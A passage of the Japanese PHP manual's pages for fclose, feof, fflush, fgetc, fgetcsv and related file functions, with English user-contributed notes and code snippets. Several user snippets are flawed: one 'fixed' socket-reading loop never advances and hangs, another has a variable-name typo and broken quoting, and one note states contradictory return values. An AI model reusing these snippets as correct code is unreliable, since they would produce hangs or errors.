        return sprintf("%0.2f Kb", $number/1024);
    }
    if($len >= 7 && $len <=9)
    {
        return sprintf("%0.2f Mb", $number/1024/1024);
    }

    return sprintf("%0.2f Gb", $number/1024/1024/1024);

}
JulieC 30-Jan-2007 07:11
"filesystem or disk partition" does not equal "directory" for Windows.  Thanks.
andudi at gmx dot ch 11-Jun-2002 03:15
To find the total size of a file/directory you have to differ two situations:
(on Linux/Unix based systems only!?)

you are interested:
1) in the total size of the files in the dir/subdirs
2) what place on the disk your dir/subdirs/files uses

- 1) and 2) normaly differs, depending on the size of the inodes
- mostly 2) is greater than 1) (in the order of any kB)
- filesize($file) gives 1)
- "du -ab $file" gives 2)

so you have to choose your situation!

on my server I have no rights to use "exec du" in the case of 2), so I use:
  $s = stat($file);
  $size = $s[11]*$s[12]/8);
whitch is counting the inodes [12] times the size of them in Bits [11]

hopes this helps to count the used disk place in a right way... :-)

                     Andreas Dick


disk_free_space のエイリアス

  • ≪ disk_total_space
  • fclose ≫
  • PHP Manual
  • ファイルシステム 関数
  • disk_free_space のエイリアス

diskfreespace

(PHP 4, PHP 5, PHP 7, PHP 8)

diskfreespace — disk_free_space() のエイリアス

説明

この関数は次の関数のエイリアスです。 disk_free_space().

User Contributed Notes

There are no user contributed notes for this page.


オープンされたファイルポインタをクローズする

  • ≪ diskfreespace
  • feof ≫
  • PHP Manual
  • ファイルシステム 関数
  • オープンされたファイルポインタをクローズする

fclose

(PHP 4, PHP 5, PHP 7, PHP 8)

fclose — オープンされたファイルポインタをクローズする

説明

fclose ( resource $stream ) : bool

streamが指しているファイルをクローズします。

パラメータ

stream

ファイルポインタは有効なものでなければならず、また fopen()またはfsockopen() で正常にオープンされたファイルを指している必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 シンプルな fclose() の例

<?php

$handle = fopen('somefile.txt', 'r');

fclose($handle);

?>

参考

  • fopen() - ファイルまたは URL をオープンする
  • fsockopen() - インターネット接続もしくは Unix ドメインソケット接続をオープンする

User Contributed Notes

tom dot vom dot berg at online dot de 28-Apr-2014 08:38
if you want to daysychain a filehandle through some functions and each function is allowed to close th file you might look in a following function first, if the handle is still valid.

Opening a file, there often will be used a code like

if (!$fh = fopen($filename, $mode)) return false;

But if you possably have closed the file and you want to check that, a smililar statement would not work.

DOES NOT WORK:   if (!$fh)  end_of_chain();

use beter: if (is_resource($fh))   end_of_chain();
jgotti 07-Sep-2012 06:25
In case you have some trouble to properly disconnect some client streams opened with stream_socket_server / stream_select you should give a try to stream_socket_shutdown.

<?php stream_socket_shutdown($clientStream,STREAM_SHUT_RDWR); ?>
mark at markvange * com 04-May-2006 09:17
It is very important to make sure you clear any incoming packets out of the incoming buffer using fread() or some equivalent.  Although you can call fclose() the socket does not actually shut down until the inbound packets have been cleared.  This can lead to some confusion.
James R. Steel 28-Nov-2005 09:02
In response to kumar mcmillan 'gotcha' note below, we get a different result on a W2K machine:

<?php
$file_pointer = fopen('textfile.dat', 'r');
fclose($file_pointer);
echo '$file_pointer is resource = ' . (is_resource($file_pointer) ? 'true': 'false');
?>

output:
$file_pointer is resource = false
jricher at jacquesricher dot com 01-Feb-2005 06:06
It is a GOOD_THING to check the return value from fclose(), as some operating systems only flush file output on close, and can, therefore, return an error from fclose(). You can catch severe data-eating errors by doing this.

I learned this the hard way.
daniel7 dot martinez at ps dot ge dot com 10-Sep-2001 04:06
Generally, it's always a good idea to close a file when you're done with it. It's very easy for something to go wrong and corrupt a file that hasn't been closed properly. If you're concerned about efficiency, the overhead is negligible.


ファイルポインタがファイル終端に達しているかどうか調べる

  • ≪ fclose
  • fflush ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルポインタがファイル終端に達しているかどうか調べる

feof

(PHP 4, PHP 5, PHP 7, PHP 8)

feof — ファイルポインタがファイル終端に達しているかどうか調べる

説明

feof ( resource $stream ) : bool

ファイルポインタがファイル終端に達しているかどうかを調べます。

パラメータ

stream

ファイルポインタは、有効なファイルポインタである必要があり、 fopen() または fsockopen() で正常にオープンされた （そしてまだ fclose() でクローズされていない） ファイルを指している必要があります。

返り値

ファイルポインタが EOF に達しているかまたはエラー (ソケットタイムアウトを含みます) の場合に true 、 その他の場合に false を返します。

注意

警告

fsockopen() でオープンした接続がサーバーによって閉じられていない場合、feof() はハングします。回避策は以下の例を参照ください。

例1 feof() のタイムアウト処理

<?php
function safe_feof($fp, &$start = NULL) {
 $start = microtime(true);

 return feof($fp);
}

/* $fp は事前に fsockopen() でオープンしているものとします */

$start = NULL;
$timeout = ini_get('default_socket_timeout');

while(!safe_feof($fp, $start) && (microtime(true) - $start) < $timeout)
{
 /* 処理 */
}
?>

警告

無効なファイルポインタを渡した場合、無限ループに陥ることがあります。 なぜなら feof() が true を返すことができないからです。

例2 feof() に無効なファイルポインタを使用する例

<?php
// ファイルを読み込めなかったりファイルが存在しなかったりした場合、
// fopen 関数は FALSE を返します。
$file = @fopen("no_such_file", "r");

// fopen からの FALSE が警告を発生させ、ここで無限ループとなります。
while (!feof($file)) {
}

fclose($file);
?>

User Contributed Notes

DimeCadmium 10-Jul-2018 07:22
feof() does not test for the actual end of a file, it tests for an exceptional condition known as end-of-file. (It's based on the C function of the same name which "tests the  end-of-file  indicator  for  the  stream")

That is to say, feof() only tells you whether fread() (and friends) have run into EOF, to allow you to differentiate it from other errors. You should be testing the return value of fread() (or whatever function you're using to read), not feof().

In particular, if your filehandle is invalid (file doesn't exist / permissions issue / etc.) or fread() encounters some other error, feof will return false, and your code will be running an infinite loop processing the FALSE returned from fread().

From the (C) manpage for fread():
       fread() does not distinguish between end-of-file and error, and callers
       must use feof(3) and ferror(3) to determine which occurred.
That is the SOLE purpose for feof().
line dot loic at gmail dot com 13-Aug-2015 09:13
To avoid infinite loops and the warning :
"Warning: feof() expects parameter 1 to be resource, boolean given"

You need to check that the fopen function return the correct type.
This can be achieved very easily with gettype().
Here is an example :

$source = fopen($xml_uri, "r");
$xml = "";

if(gettype($source) == "resource") { // Check here !
    while (!feof($source)) {
        $xml .= fgets($source, 4096);
    }
}

echo $xml;
lulzury at Yahoo dot com 01-Jul-2015 05:34
From washington dot edu css342:
On unix/linux, every line in a file has an End-Of-Line (EOL) character and the EOF character is after the last line. On windows, each line has an EOL characters except the last line. So unix/linux file's last line is
      stuff, EOL, EOF
whereas windows file's last line, if the cursor is on the line, is
      stuff, EOF

So set up data files on windows to be the same as on unix/linux. This way, you will correctly determine eof under both unix/linux and windows. In general, you must exit all loops and all functions immediately when you are attempting to read an item that would be past the eof.

Here is a typical set up that will work correctly. Suppose in a data file, there are multiple lines of data. In some function is the loop where you are reading and handling this data. This loop will look similar to the following.
     // infinite loop to read and handle a line of data
     for (;;) {
        $ln = fgets($fp);
        if (feof($fp)) break;

        // read the rest of the line
        // do whatever with data
     }
If you dislike infinite loops, you can accomplish this same thing using a while loop by priming the loop and reading again at the end:
    $ln = fgets($fp);
     while (!feof($fp)) {
        // read the rest of the line
        // do whatever with data

        $ln = fgets($fp);
     }
Alwar 02-Oct-2013 07:41
Don't use feof to test if you have readed all data sent by the other end of the socket. As i know it would return true only when the other end closes the connection.
dewi at dewimorgan dot com 09-Feb-2012 11:17
Return values in the documentation are incorrectly stated. It says:

Returns TRUE if the file pointer is at EOF or an error occurs (including socket timeout); otherwise returns FALSE.

Correct text would be more like:

Returns FALSE if no filehandle was passed;
returns NULL if no filehandle was passed;
returns TRUE if the file pointer is at EOF or an error occurs (including socket timeout);
otherwise returns FALSE.

As an example, running the following from the commandline:

php -r 'echo
    "Empty: ".var_export(feof(), true)."\n".
    "Null: ".var_export(feof(NULL), true)."\n".
    "Undefined: ".var_export(feof($undef), true)."\n"
;'

This will output:

PHP Warning:  Wrong parameter count for feof() in Command line code on line 1
PHP Warning:  feof(): supplied argument is not a valid stream resource in Command line code on line 1
PHP Warning:  feof(): supplied argument is not a valid stream resource in Command line code on line 1

Empty: NULL
Null: false
Undefined: false

This can, as other commenters have reported, result in infinite loops and massive PHP error logfiles, if the file handle returned by fopen() is invalid for any reason.
sudo dot adam dot carruthers at gmail dot com 06-Feb-2010 09:01
When using feof() on a TCP stream, i found the following to work (after many hours of frustration and anger):

NOTE: I used ";" to denote the end of data transmission.  This can be modified to whatever the server's end of file or in this case, end of output character is.

<?php
        $cursor = "";
        $inData = "";

        while(strcmp($cursor, ";") != 0) {
            $cursor = fgetc($sock);
            $inData.= $cursor;
        }
        fclose($sock);
        echo($inData);
?>

Since strcmp() returns 0 when the two strings are equal, it will return non zero as long as the cursor is not ";".  Using the above method will add ";" to the string, but the fix for this is simple.

<?php
        $cursor = "";
        $inData = "";

         $cursor = fgetc($sock);
        while(strcmp($cursor, ";") != 0) {
            $inData.= $cursor;
        }
        fclose($sock);
        echo($inData);
?>

I hope this helps someone.
jakicoll 02-Jan-2010 04:59
Please note that feof() used with TCP-Connections, returns false as long as the connection is open.
It even returns false when there is no data available.

BTW: Using feof() with HTTP for a single request, you should always make sure that you set the HTTP-Header "Connection" to "close" and _not_ to "keep-alive".
honzam+php at ipdgroup dot com 28-Feb-2008 02:17
Johannes: Remember note from stream_get_meta_data page: For socket streams this member [eof] can be TRUE  even when unread_bytes  is non-zero. To determine if there is more data to be read, use feof() instead of reading this item.

Another thing: better not rely on the "including socket timeout" part of when feof returns true. Just found program looping two days in while(!feof($fd)) fread ... with 20 seconds timeout in PHP 4.3.10.
Jet 19-Sep-2007 07:03
To avoid infinite loop with fgets() just use do..while statement.

<?php
if ($f = fopen('myfile.txt', 'r')) do {
    $line = fgets($f);
    // do any stuff here...
} while (!feof($f));
fclose($f);
cmr at forestfactory dot de 19-Nov-2006 08:57
Here's solution 3:

<?
$fp = fopen("myfile.txt", "r");
while ( ($current_line = fgets($fp)) !== false ) {
  // do stuff to the current line here
}
fclose($fp);
?>

AFAICS fgets() never returns an empty string, so we can also write:

<?
$fp = fopen("myfile.txt", "r");
while ( $current_line = fgets($fp) ) {
  // do stuff to the current line here
}
fclose($fp);
?>
Tom 24-Oct-2006 03:27
feof() is, in fact, reliable.  However, you have to use it carefully in conjunction with fgets().  A common (but incorrect) approach is to try something like this:

<?
$fp = fopen("myfile.txt", "r");
while (!feof($fp)) {
  $current_line = fgets($fp);
  // do stuff to the current line here
}
fclose($fp);
?>

The problem when processing plain text files is that feof() will not return true after getting the last line of input.  You need to try to get input _and fail_ before feof() returns true.  You can think of the loop above working like this:

* (merrily looping, getting lines and processing them)
* fgets used to get 2nd to last line
* line is processed
* loop back up -- feof returns false, so do the steps inside the loop
* fgets used to get last line
* line is processed
* loop back up -- since the last call to fgets worked (you got the last line), feof still returns false, so you do the steps inside the loop again
* fgets used to try to get another line (but there's nothing there!)
* your code doesn't realize this, and tries to process this non-existent line (typically by doing the same actions again)
* now when your code loops back up, feof returns true, and your loop ends

There's two ways to solve this:

1. You can put an additional test for feof() inside the loop
2. You can move around your calls to fgets() so that the testing of feof() happens in a better location

Here's solution 1:

<?
$fp = fopen("myfile.txt", "r");
while(!feof($fp)) {
  $current_line = fgets($fp);
  if (!feof($fp)) {
    // process current line
  }
}
fclose($fp);
?>

And here's solution 2 (IMHO, more elegant):

<?
$fp = fopen("myfile.txt", "r");
$current_line = fgets($fp);
while (!feof($fp)) {
  // process current line
  $current_line = fgets($fp);
}
fclose($fp);
?>

FYI, the eof() function in C++ works the exact same way, so this isn't just some weird PHP thing...
ironoxid at libero dot it 06-Jun-2006 06:52
I really thought that the feof() was TRUE when the logical file pointer is a EOF.
but no !
we need to read and get an empty record before the eof() reports TRUE.

So

$fp = fopen('test.bin','rb');
while(!feof($fp)) {
  $c = fgetc($fp);
  // ... do something with $c
  echo ftell($fp), ",";
}
echo 'EOF!';

prints for two time the last byte position.
If our file length is 5 byte this code prints

0,1,2,3,4,5,5,EOF!

Because of this, you have to do another check to verify if fgetc really reads another byte (to prevent error on "do something with $c" ^_^).

To prevent errors you have to use this code

$fp = fopen('test.bin','rb');
while(!feof($fp)) {
  $c = fgetc($fp);
  if($c === false) break;
  // ... do something with $c
}

but this is the same of

$fp = fopen('test.bin','rb');
while(($c = fgetc($fp))!==false) {
  // ... do something with $c
}

Consequently feof() is simply useless.
Before write this note I want to submit this as a php bug but one php developer said that this does not imply a bug in PHP itself (http://bugs.php.net/bug.php?id=35136&edit=2).

If this is not a bug I think that this need at least to be noticed.

Sorry for my bad english.
Bye ;)
m a p o p a at g m a i l. c o m 03-Jun-2006 05:58
you  can avoid the infinite loop and filling the error logs
by an simple if statement
Here is the example

    $handle = fopen("http://xml.weather.yahoo.com/forecastrss?p=AYXX0008&u=f", "r");
    $xml = "";
    if ($handle)
    {
       while (!feof($handle))
       {
           $xml .= fread($handle, 128);
       }
        fclose($handle);
    }
01-Jan-2006 06:27
if you use fseek function to pos the pointer exceed the size the file,feof still return true.so note that when you use feof as the condition of while loop.
04-Mar-2005 09:02
if you're worried the file pointer is invalid, TEST IT before you go into your loop... that way it'll never be an infinite loop.
Johannes 12-Mar-2004 02:47
I found feof() to be a slow function when using a non-blocking connection.

The function stream_get_meta_data() returns much quicker and has a return field 'eof'.


出力をファイルにフラッシュする

  • ≪ feof
  • fgetc ≫
  • PHP Manual
  • ファイルシステム 関数
  • 出力をファイルにフラッシュする

fflush

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

fflush — 出力をファイルにフラッシュする

説明

fflush ( resource $stream ) : bool

この関数は、バッファリングされた全ての出力をファイルハンドル stream が指すリソースに強制的に書き込みます。

パラメータ

stream

ファイルポインタは、有効なファイルポインタである必要があり、 fopen() または fsockopen() で正常にオープンされた （そしてまだ fclose() でクローズされていない） ファイルを指している必要があります。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 fflush() を使用するファイル書き込みの例

<?php
$filename = 'bar.txt';

$file = fopen($filename, 'r+');
rewind($file);
fwrite($file, 'Foo');
fflush($file);
ftruncate($file, ftell($file));
fclose($file);
?>

参考

  • clearstatcache() - ファイルのステータスのキャッシュをクリアする
  • fwrite() - バイナリセーフなファイル書き込み処理

User Contributed Notes

michaelsy01[NXSPAM] at informantum dot de 06-Feb-2019 09:30
A hint for PHP beginners like me:
The buffered output which is write by fflush() has nothing to do with the output buffer which is initiated by the ob_start() function.
jzho327 at cse dot unsw dot edu dot au 27-Jan-2003 12:27
Sorry, the note I previously added regarding fflush() has a bug!

when you read file by calling
$fp = fopen("myfile", "a+");

and you wish to read the content, you have to call
rewind($fp) before you attemp to read it. (Silly me) Or else if you tried something like
$fp = fopen("myfile", "a+");
$content = fread($fp);

// show that content is in fact null
if ($content == NULL)
 print "but it must be first put to rewind<br>\n";

will result

but it must be first put to rewind.
[new line]

in fact, if you are not careful (like me), and you opened it with
$fp = fopen("myfile", "r+");
$content = fread($fp);
..
// do something with content
..
then you tried to again
$content = fread($fp);
without rewind, you'd get NULL again. This sounds trivial, but if you work with several file resources, with freads and fopens everywhere, you can get easily lost. So becareful.


ファイルポインタから1文字取り出す

  • ≪ fflush
  • fgetcsv ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルポインタから1文字取り出す

fgetc

(PHP 4, PHP 5, PHP 7, PHP 8)

fgetc — ファイルポインタから1文字取り出す

説明

fgetc ( resource $stream ) : string|false

指定したファイルポインタから 1 文字読み出します。

パラメータ

stream

ファイルポインタは、有効なファイルポインタである必要があり、 fopen() または fsockopen() で正常にオープンされた （そしてまだ fclose() でクローズされていない） ファイルを指している必要があります。

返り値

streamが指すファイルポインタから 1 文字読み出し、 その文字からなる文字列を返します。EOF の場合に false を返します。

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

例

例1 fgetc() の例

<?php
$fp = fopen('somefile.txt', 'r');
if (!$fp) {
    echo 'somefile.txt をオープンできませんでした';
}
while (false !== ($char = fgetc($fp))) {
    echo "$char\n";
}
?>

注意

注意: この関数はバイナリデータに対応しています。

参考

  • fread() - バイナリセーフなファイルの読み込み
  • fopen() - ファイルまたは URL をオープンする
  • popen() - プロセスへのファイルポインタをオープンする
  • fsockopen() - インターネット接続もしくは Unix ドメインソケット接続をオープンする
  • fgets() - ファイルポインタから 1 行取得する

User Contributed Notes

seraclimov at yandex dot ru 29-Jan-2018 04:57
You can't just simple print separated characters of a text which is encoded in multibyte character set like this;
Because fgetc() will break each multibyte character on its every byte. Consider this example:

<?php
$path = 'foo/cyrillic.txt';
$handle = fopen($path, 'rb');
while (FALSE !== ($ch = fgetc($handle))) {
    $curs = ftell($hanlde);
    print "[$curs:] $ch\n";
}
/* The result will be something like this:
<
[1]: <
[2]: h
[3]: 2
[4]: >
[5]: ?
[6]: ?
[7]: ?
[8]: ?
[9]: ?
[10]: ?
[11]:
[12]: ?
[13]: ?
[14]: ?
[15]: ?
[16]: ?
*/ ?>

I don't think this is the best, but it can be a workaround:
<?php
$path = 'path/to/your/file.ext';

if (!$handle = fopen($path, 'rb')) {
    echo "Can't open ($path) file';
    exit;
}

$mbch = '';    // keeps the first byte of 2-byte cyrillic letters
while (FALSE !== ($ch = fgetc($handle))) {
    //check for the sign of 2-byte cyrillic letters
    if (empty($mbch) && (FALSE !== array_search(ord($ch), Array(208,209,129)))) {
        $mbch = $ch;    // keep the first byte
        continue;
    }
    $curs = ftell($handle);
    print "[$curs]: " . $mbch . $ch . PHP_EOL;
    // or print "[$curs]: $mbch$ch\n";
    if (!empty($mbch)) $mbch = '';    // erase the byte after using
}
?>
Anonymous 30-Jun-2017 02:10
If you call fgetc(HANDLE) multiple times you must clear buffer before, thus get all unwanted chars to the new new line character.

while (true) {

    //clear buffer - read all unwanted characters
    while(fgetc(STDIN) != "\n");

    //get first character from STDIN
    $first = fgetc(STDIN);
}
sfinktah at php dot spamtrak dot org 22-Mar-2011 06:33
To read a single key-press in CLI mode, you can either use ncurses (which will probably require additional modules for PHP) or get nasty with the *nix "/bin/stty" command)

<?php
   function stty($options) {
      exec($cmd = "/bin/stty $options", $output, $el);
      $el AND die("exec($cmd) failed");
      return implode(" ", $output);
   }

   function getchar($echo = false) {
      $echo = $echo ? "" : "-echo";

      # Get original settings
      $stty_settings = preg_replace("#.*; ?#s", "", stty("--all"));

      # Set new ones
      stty("cbreak $echo");

      # Get characters until a PERIOD is typed,
      # showing their hexidecimal ordinal values.
      printf("> ");
      do {
         printf("%02x ", ord($c = fgetc(STDIN)));
      } while ($c != '.');

      # Return settings
      stty($stty_settings);
   }

   getchar();
?>
alex at alexdemers dot me 11-May-2009 10:30
The best and simplest way to get input from a user in the CLI with only PHP is to use fgetc() function with the STDIN constant:

<?php

echo 'Are you sure you want to quit? (y/n) ';
$input = fgetc(STDIN);

if ($input == 'y')
{
    exit(0);
}

?>
ktraas at gmail dot com (Kevin Traas) 23-Mar-2009 07:08
I was using command-line PHP to create an interactive script and wanted the user to enter just one character of input - in response a Yes/No question.  Had some trouble finding a way to do so using fgets(), fgetc(), various suggestions using readline(), popen(), etc.  Came up with the following that works quite nicely:

$ans = strtolower( trim( `bash -c "read -n 1 -t 10 ANS ; echo \\\$ANS"` ) );


ファイルポインタから行を取得し、CSVフィールドを処理する

  • ≪ fgetc
  • fgets ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルポインタから行を取得し、CSVフィールドを処理する

fgetcsv

(PHP 4, PHP 5, PHP 7, PHP 8)

fgetcsv — ファイルポインタから行を取得し、CSVフィールドを処理する

説明

fgetcsv ( resource $handle , int $length = 0 , string $delimiter = "," , string $enclosure = '"' , string $escape = "\\" ) : array

fgets() に動作は似ていますが、 fgetcsv() は行を CSV フォーマットのフィールドとして読込み処理を行い、 読み込んだフィールドを含む配列を返すという違いがあります。

注意:

この関数はロケール設定を考慮します。もし LC_CTYPE が例えば en_US.UTF-8 の場合、 1 バイトエンコーディングのファイルは間違って読み込まれるかもしれません。

パラメータ

handle

ファイルポインタは有効なものでなければならず、また fopen(), popen(), もしくは fsockopen() で正常にオープンされたファイルを指している必要があります。

length

(行末文字を考慮して) CSV ファイルにある最も長い行よりも大きい必要があります。 そうでない場合は、ひとつの行が length 文字ずつのチャンクに分割されてしまいます。 ただし、フィールド囲いこみ文字の内部では、この分割は発生しません。

このパラメータを省略 (もしくは PHP 5.1.0 以降で 0 を設定) すると、 最大行長は制限されません。この場合、若干動作が遅くなります。

delimiter

オプションの delimiter パラメータで、フィールドのデリミタ (1 文字のみ) を設定します。

enclosure

オプションの enclosure パラメータで、フィールド囲いこみ文字 (1 文字のみ) を設定します。

escape

オプションの escape パラメータで、エスケープ文字 (最大で1文字) を設定します。 空文字列("") を指定すると、プロプライエタリなエスケープ機構が無効になります。

注意: enclosure の文字は、フィールド内で2回出力される ことでエスケープされます。しかし、 escape 文字はその代替として使えます。 デフォルトのパラメータの値 "" と \" は同じ意味を持ちます。 enclosure の文字を escape 文字でエスケープすることには、 特別な意味はありません。それ自身をエスケープする意味ですらありません。

返り値

読み込んだフィールドの内容を含む数値添字配列を返します。

注意:

CSV ファイルの空行は null フィールドを一つだけ含む配列として返され、 エラーにはなりません。

注意: マッキントッシュコンピュータ上で作成されたファイルを読み込む際に、 PHP が行末を認識できないという問題が発生した場合、 実行時の設定オプションauto_detect_line_endings を有効にする必要が生じるかもしれません。

fgetcsv() は、無効な handle を受け取った場合に null を返します。 また、ファイルの終端に達した場合を含めたその他のエラー時には false を返します。

変更履歴

バージョン | 説明
7.4.0 | escape パラメータが空文字列を受け入れるようになりました。 この場合、プロプライエタリなエスケープ機構が無効になります。

例

例1 CSV ファイルの全てのコンテンツを読み込み、表示する

<?php
$row = 1;
if (($handle = fopen("test.csv", "r")) !== FALSE) {
    while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
        $num = count($data);
        echo "<p> $num fields in line $row: <br /></p>\n";
        $row++;
        for ($c=0; $c < $num; $c++) {
            echo $data[$c] . "<br />\n";
        }
    }
    fclose($handle);
}
?>

参考

  • str_getcsv() - CSV 文字列をパースして配列に格納する
  • explode() - 文字列を文字列により分割する
  • file() - ファイル全体を読み込んで配列に格納する
  • pack() - データをバイナリ文字列にパックする
  • fputcsv() - 行を CSV 形式にフォーマットし、ファイルポインタに書き込む

User Contributed Notes

Sbastien 01-Jul-2020 11:19
To use fgetcsv() with a string instead of a file, you can use the data: wrapper https://www.php.net/wrappers.data :

<?php

$csv = <<<CSV
    v1.1,v1.2,v1.3
    v2.1,v2.2,v2.3
    CSV;

$fp = fopen('data://text/plain,' . $csv, 'r');

print_r(fgetcsv($fp));
print_r(fgetcsv($fp));

/*

Array
(
    [0] => v1.1
    [1] => v1.2
    [2] => v1.3
)
Array
(
    [0] => v2.1
    [1] => v2.2
    [2] => v2.3
)

*/

?>
lewiscowles at me dot com 27-Feb-2020 03:11
In-case anyone is having difficulty working around Byte-order-marks, the following should work. As usual no warranty, you should test your code... It's for UTF-8 only

    <?php

    //...

    $fh = fopen('wut.csv', 'r');
    $firstThreeBytes = fread($fh , 3);
    if($firstThreeBytes !== "\xef\xbb\xbf") {
        rewind($fh);
    }
    while(($row = fgetcsv($fh, 10000, ',')) !== false) {
        // Your code here
    }

This basically reads 3 bytes and checks if they match

https://en.wikipedia.org/wiki/Byte_order_mark has more information if you are dealing with other code-pages
shaun at slickdesign dot com dot au 04-May-2018 03:08
When a BOM character is suppled, `fgetscsv` may appear to wrap the first element in "double quotation marks". The simplest way to ignore it is to progress the file pointer to the 4th byte before using `fgetcsv`.

<?php
// BOM as a string for comparison.
$bom = "\xef\xbb\xbf";

// Read file from beginning.
$fp = fopen($path, 'r');

// Progress file pointer and get first 3 characters to compare to the BOM string.
if (fgets($fp, 4) !== $bom) {
    // BOM not found - rewind pointer to start of file.
    rewind($fp);
}

// Read CSV into an array.
$lines = array();
while(!feof($fp) && ($line = fgetcsv($fp)) !== false) {
    $lines[] = $line;
}
?>
i at camerongreen dot org 03-Jan-2018 11:51
This style is shown as an example on this page and in a number of examples on the Internet:

<?php
$rows = array_map('str_getcsv', file('myfile.csv'));
?>

Note, this won't handle new lines within csv fields and thus should probably be avoided.
Gandalf the White 23-Feb-2017 10:14
Forget this while() loop mumbo jumbo! Use this:

$rows = array_map('str_getcsv', file('myfile.csv'));
$header = array_shift($rows);
$csv = array();
foreach ($rows as $row) {
  $csv[] = array_combine($header, $row);
}

Source: https://steindom.com/articles/shortest-php-code-convert-csv-associative-array
chris at ocproducts dot com 29-Jan-2017 07:31
This function has no special BOM handling. The first cell of the first row will inherit the BOM bytes, i.e. will be 3 bytes longer than expected. As the BOM is invisible you may not notice.

Excel on Windows, or text editors like Notepad, may add the BOM.
Daniel Klein 01-Nov-2016 01:26
The $escape parameter is completely unintuitive, but it is not broken. Here is a breakdown of fgetcsv()'s behaviour. In the examples I've used underscores (_) to show spaces and brackets ([]) to show individual fields:

- Leading whitespace in each field will be stripped if it comes immediately before an enclosure: ___"foo" -> [foo]
- There can only be one enclosure per field, although it will be concatenated with any data that appears between the end enclosure and the next delimiter/new line, including any trailing whitespaces ___"foo"_"bar"__ -> [foo_"bar"__]
- If the field does not start with (leading whitespace +) an enclosure, the whole field is interpreted as raw data, even if enclosure characters appear elsewhere within the field: _foo"bar"_ -> [_foo"bar"_]
- Delimiters cannot be escaped outside enclosures, they have to be enclosed instead. Delimiters don't need to be escaped inside enclosures: "foo,bar","baz,qux" -> [foo,bar][baz,qux]; foo\,bar -> [foo\][bar]; "foo\,bar" -> [foo\,bar]
- Double enclosures inside single enclosures are converted to single enclosures: "foobar" -> [foobar]; "foo""bar" -> [foo"bar]; """foo""" -> ["foo"]; ""foo"" -> [foo""] (empty enclosure followed by raw data)
- The $escape parameter works as expected, but unlike enclosures DOES NOT get unescaped. It is necessary to unescape the data elsewhere in the code: "\"foo\"" -> [\"foo\"]; "foo\"bar" -> [foo\"bar]

Note: the following data (which is a very common problem) is invalid: "\". Its structure is equivalent to "@ or in other words, an open enclosure, some data and no closing enclosure.

The following functions can be used to get the expected behaviour:

<?php
// Removes escape characters before both enclosures and escapes, but leaves everything else untouched, similiar to single quoting
function fgetcsv_unescape_enclosures_and_escapes($fh, $length = 0, $delimiter = ',', $enclosure = '"', $escape = '\\') {
  $fields = fgetcsv($fh, $length, $delimiter, $enclosure, $escape);
  if ($fields) {
    $regex_enclosure = preg_quote($enclosure);
    $regex_escape = preg_quote($escape);
    $fields = preg_replace("/{$regex_escape}({$regex_enclosure}|{$regex_escape})/", '$1', $fields);
  }
  return $fields;
}

// Does NOT remove a lone escape character at the end of a field
function fgetcsv_unescape_all($fh, $length = 0, $delimiter = ',', $enclosure = '"', $escape = '\\') {
  $fields = fgetcsv($fh, $length, $delimiter, $enclosure, $escape);
  if ($fields) {
    $regex_escape = preg_quote($escape);
    $fields = preg_replace("/{$regex_escape}(.)/s", '$1', $fields);
  }
  return $fields;
}

// Removes lone escape characters at the end of fields
function fgetcsv_unescape_all_strip_last($fh, $length = 0, $delimiter = ',', $enclosure = '"', $escape = '\\') {
  $fields = fgetcsv($fh, $length, $delimiter, $enclosure, $escape);
  if ($fields) {
    $regex_escape = preg_quote($escape);
    $fields = preg_replace("/{$regex_escape}(.?)/s", '$1', $fields);
  }
  return $fields;
}
?>

Caution: ideally, there shouldn't be any unescaped escape characters outside enclosures; the field should be enclosed and escaped instead. If there are any, they could end up being removed as well, depending on the function used.
from_php at puggan dot se 16-Sep-2016 01:37
Setting the $escape parameter dosn't return unescaped strings, but just avoid splitting on a $delimiter that have an escpae-char infront of it:

<?php
        $tmp_file = "/tmp/test.csv";
        file_put_contents($tmp_file, "\"first\\\";\\\"secound\"");
        echo "raw:" . PHP_EOL . file_get_contents($tmp_file) . PHP_EOL . PHP_EOL;

        echo "fgetcsv escaped bs:" . PHP_EOL;
        $f = fopen($tmp_file, 'r');
        while($r = fgetcsv($f, 1024, ';', '"', "\\"))
        {
                print_r($r);
        }
        fclose($f);
        echo PHP_EOL;

        echo "fgetcsv escaped #:" . PHP_EOL;
        $f = fopen($tmp_file, 'r');
        while($r = fgetcsv($f, 1024, ';', '"', "#"))
        {
                print_r($r);
        }
        fclose($f);
        echo PHP_EOL;
?>
vladimir at luchaninov dot com 31-Oct-2015 09:47
Here is an example how to use this function with generators
https://github.com/luchaninov/csv-file-loader (composer require "luchaninov/csv-file-loader:1.*")

$loader = new CsvFileLoader();
$loader->setFilename('/path/to/your_data.csv');

foreach ($loader->getItems() as $item) {
    var_dump($item); // do something here
}

If you have CSV-file like

id,name,surname
1,Jack,Black
2,John,Doe

you'll get 2 items

['id' => '1', 'name' => 'Jack', 'surname' => 'Black']
['id' => '2', 'name' => 'John', 'surname' => 'Doe']
tomasz at marcinkowski dot pl 11-Sep-2013 08:48
For anyone else struggling with disappearing non-latin characters in one-byte encodings - setting LANG env var (as the manual states) does not help at all. Look at LC_ALL instead.

In my case it was set to "pl_PL.utf8" but since my input file was in CP1250 most of polish characters (but not all of them!) had gone missing and city of "?od?" had become just "d?". I've "fixed" it with "pl_PL".
sander at NOSPAM dot rotorsolutions dot nl 27-Aug-2013 12:49
If you don't want to define an enclosure charachter you can do the following:

<?php
  $row = fgetcsv($handle, 0, $delimiter, 0x00);
?>

I needed this to detect the enclosure used for csv files.
michael dot arnauts at gmail dot com 14-Mar-2012 01:19
fgetcsv seems to handle newlines within fields fine. So in fact it is not reading a line, but keeps reading untill it finds a \n-character that's not quoted as a field.

Example:

<?php
/* test.csv contains:
"col 1","col2","col3"
"this
is
having
multiple
lines","this not","this also not"
"normal record","nothing to see here","no data"
*/

$handle = fopen("test.csv", "r");
while (($data = fgetcsv($handle)) !== FALSE) {
    var_dump($data);
}
?>

Returns:
array(3) {
  [0]=>
  string(5) "col 1"
  [1]=>
  string(4) "col2"
  [2]=>
  string(4) "col3"
}
array(3) {
  [0]=>
